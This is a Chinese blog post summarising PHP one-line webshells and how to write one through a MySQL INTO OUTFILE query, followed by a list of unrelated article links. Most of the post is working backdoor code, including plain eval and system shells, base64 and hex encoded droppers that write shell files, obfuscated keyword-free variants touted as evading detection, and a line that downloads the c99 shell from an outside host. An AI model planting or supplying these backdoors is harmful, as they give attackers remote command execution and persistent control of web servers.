PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
一个php作的文本留言本的例子(五)
Oct 09 PHP
PHP简介
Oct 09 PHP
解析php中获取系统信息的方法
Jun 25 PHP
多个PHP中文字符串截取函数
Nov 12 PHP
PHP下通过QRCode类库创建中间带网站LOGO的二维码
Jul 12 PHP
Parse正式发布开源PHP SDK
Aug 11 PHP
PHP函数eval()介绍和使用示例
Aug 20 PHP
PHP内置的Math函数效率测试
Dec 01 PHP
php实现获取文件mime类型的方法
Feb 11 PHP
PHP两种快速排序算法实例
Feb 15 PHP
php通过array_merge()函数合并两个数组的方法
Mar 18 PHP
WordPress中制作导航菜单的PHP核心方法讲解
Dec 11 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
Dedecms常用函数解析
2008/02/01 PHP
教你如何用php实现LOL数据远程获取
2014/06/10 PHP
PHP 实现公历日期与农历日期的互转换
2017/09/13 PHP
解决php扩展安装不生效问题
2019/10/25 PHP
js window.event对象详尽解析
2009/02/17 Javascript
JavaScript聚焦于第一个字段的代码
2010/10/15 Javascript
javascript中的=等号个数问题两个跟三个有什么区别
2013/10/23 Javascript
JS控制伪元素的方法汇总
2016/04/06 Javascript
JS图片等比例缩放方法完整示例
2016/08/03 Javascript
分类解析jQuery选择器
2016/11/23 Javascript
利用vue-router实现二级菜单内容转换
2016/11/30 Javascript
js实现点击每个li节点,都弹出其文本值及修改
2016/12/15 Javascript
JS实现发送短信验证后按钮倒计时功能(防止刷新倒计时失效)
2017/07/07 Javascript
web前端开发中常见的多列布局解决方案整理(一定要看)
2017/10/15 Javascript
使用express搭建一个简单的查询服务器的方法
2018/02/09 Javascript
vue js秒转天数小时分钟秒的实例代码
2018/08/08 Javascript
Three.js实现3D机房效果
2018/12/30 Javascript
Vue-cli3.x + axios 跨域方案踩坑指北
2019/07/04 Javascript
AngularJS动态生成select下拉框的方法实例
2019/11/17 Javascript
Nest.js环境变量配置与序列化详解
2021/02/21 Javascript
[02:51]2014DOTA2国际邀请赛 IG战队官方纪录片
2014/07/21 DOTA
利用Python绘制MySQL数据图实现数据可视化
2015/03/30 Python
python学习之编写查询ip程序
2016/02/27 Python
python代码 if not x: 和 if x is not None: 和 if not x is None:使用介绍
2016/09/21 Python
python实现unicode转中文及转换默认编码的方法
2017/04/29 Python
浅谈python中requests模块导入的问题
2018/05/18 Python
详解Python学习之安装pandas
2019/04/16 Python
python实现大文本文件分割
2019/07/22 Python
通过canvas转换颜色为RGBA格式及性能问题的解决
2019/11/22 HTML / CSS
孕妇内衣和胸罩:Cake Maternity
2018/07/16 全球购物
巴西葡萄酒商店:Divvino
2020/02/22 全球购物
雷蛇美国官网:Razer
2020/04/03 全球购物
Python面试题集
2012/03/08 面试题
2019年感恩励志演讲稿(收藏备用)
2019/09/11 职场文书
使用CSS3实现按钮悬停闪烁动态特效代码
2021/08/30 HTML / CSS
MySql统计函数COUNT的具体使用详解
2022/08/14 MySQL